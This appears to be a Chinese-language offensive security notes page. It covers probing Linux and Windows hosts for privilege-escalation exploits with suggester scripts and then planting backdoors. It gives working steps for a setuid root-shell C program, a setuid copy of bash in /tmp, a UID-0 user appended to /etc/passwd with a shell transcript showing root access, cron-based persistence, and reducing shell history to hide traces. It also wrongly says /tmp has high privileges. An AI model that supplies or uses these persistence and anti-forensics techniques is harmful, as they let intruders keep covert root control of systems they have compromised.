linux后门植入

用脚本探测linux提权漏洞

windows漏洞探测脚本:

python2和python3的区别:

python2 打印函数print不需要括号: print “hello”;python3打印函数需要print(“hello”)

python2-pip安装:

python2 get-pip.py

python3-pip安装:

apt-get install python3-pip

脚本使用:

漏洞库位置: https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-022

下载漏洞库: python2 windows-exploit-suggester.py –update

保存systeminfo信息: systeminfo > sys.txt

探测漏洞: python2 windows-exploit-suggester.py -i sys.txt -d 2021-03-28-mssb.xls

linux脚本探测:

1
2
3
4
5
6
下载:
github: https://github.com/mzet-/linux-exploit-suggester
下载:
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
运行:
./les.sh

linux后门植入

计划任务:
  1. 用命令的方式写计划任务

    crontab -e

    crontab -l –> 查看计划任务

  2. 再文件中写入计划任务

    文件位置: /etc/crontab

1
2
3
4
5
6
7
8
9
10
11
12
13
# Example of job definition:
# .---------------- minute(分钟) (0 - 59)
# | .------------- hour(小时) (0 - 23)
# | | .---------- day of month(每月的天数) (1 - 31)
# | | | .------- month (1 - 12)(月份) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (每周的天数)(Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed

* --> 任意时间
/ --> 时间频率 */1 * * * * --> 任意时间每隔1分钟执行一次
- --> 区间 0-20/2 * * * * --> 0-20分钟每隔两分钟执行一次
, --> 列表范围 1,5,7,9 * * * * --> 第1,5,7,9分钟的之后执行一次

命令的形式:

创建计划任务: crontab -e –> * * * * * command

删除计划任务: crontab -r | crontab -ri –> -r 删除 -i 交互(问你是否删除)

创建suid后门:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/tmp: 存放临时文件的目录,具有高权限
1.
创建suid.c
#include <stdlib.h>
main(){
setuid(0);
system("/bin/bash");
}
编译:
gcc suid.c -o suid
权限赋予:
chmod 4777 suid

2.
复制/bin/bash > /tmp/shell
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell
/etc/passwd后门:

生成有效密码: openssl passwd 密码

插入有效数据: echo 用户名:密码:0:0:system:/root:/bin/bash

登入用户:su 用户名

┌─[✗]─[ilu@parrot]─[/tmp]
└──╼ $su hello
密码:
┌─[root@parrot]─[/tmp]
└──╼ #

痕迹清除

1
2
3
4
5
sed -i 's/^HISTSIZE=原数量(默认1000)/HISTSIZE=目标数量/' ~/.bashrc
-i 进入到编辑模式
s 替换模式
d 删除模式
g 全局匹配